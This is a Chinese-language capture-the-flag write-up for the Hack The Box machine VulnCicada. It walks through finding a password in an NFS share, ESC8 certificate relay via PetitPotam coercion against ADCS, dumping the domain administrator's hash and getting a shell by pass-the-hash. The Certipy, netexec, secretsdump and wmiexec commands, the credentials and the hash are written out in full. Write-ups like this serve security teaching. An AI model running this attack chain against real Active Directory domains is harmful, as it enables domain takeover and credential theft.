HTB VulnCicada渗透测试:从NFS共享到ADCS ESC8漏洞利用

本文详细记录了从发现开放NFS共享获取凭据,到利用ADCS ESC8漏洞通过证书中继攻击获取域控制器机器账户证书,最终通过哈希传递获得管理员权限的全过程。

HTB: VulnCicada

初始扫描

Nmap扫描发现25个开放TCP端口,包括典型的Windows域控制器端口(53、88、135、139、389、445等)。域名是cicada.vl,主机名是DC-JPQ225

1
2
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.48
...

网站枚举(TCP 80)

网站是默认IIS页面,无特别内容。Feroxbuster目录暴力破解未发现有效路径。

SMB枚举(TCP 445)

Netexec显示NTLM认证被禁用,无法通过Kerberos使用虚账户或guest账户认证。

NFS共享(端口2049)

发现公开NFS共享/profiles,挂载后包含多个用户目录。复制两个可访问的图片文件:vacation.pngmarketing.png。后者包含便签上的密码Cicada123

认证为Rosie.Powell

使用凭据Rosie.Powell:Cicada123通过Kerberos成功认证SMB。枚举共享发现CertEnroll(ADCS相关)和profiles$(用户目录)。

ADCS枚举

使用Certipy发现CA易受ESC8攻击(HTTP Web注册启用)。

1
oxdf@hacky$ certipy find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout

ESC8利用

背景

ESC8允许通过NTLM中继攻击ADCS HTTP注册端点,获取高权限账户证书。

攻击步骤

  1. 添加恶意DNS记录:使用bloodyAD添加记录DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA指向攻击者IP。
  2. 启动Certipy中继:监听445端口,目标为ADCS Web端点。
  3. 强制认证:使用netexec的coerce_plus模块通过PetitPotam强制域控制器向恶意DNS记录认证。
  4. 获取证书:Certipy中继认证并获取域控制器机器账户证书。
  5. 认证为机器账户:使用证书获取TGT和NTLM哈希。
1
2
3
oxdf@hacky$ certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
oxdf@hacky$ netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
oxdf@hacky$ certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48

获取管理员Shell

转储哈希

使用机器账户TGT转储管理员哈希。

1
oxdf@hacky$ KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator

获取Shell

使用WMIexec通过哈希传递获取管理员Shell。

1
oxdf@hacky$ wmiexec.py cicada.vl/administrator@dc-jpq225.cicada.vl -k -hashes :85a0da53871a9d56b6cd05deda3a5e87

标志

  • User Flag: c6a8fc2e************************
  • Root Flag: 65d0019f************************
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计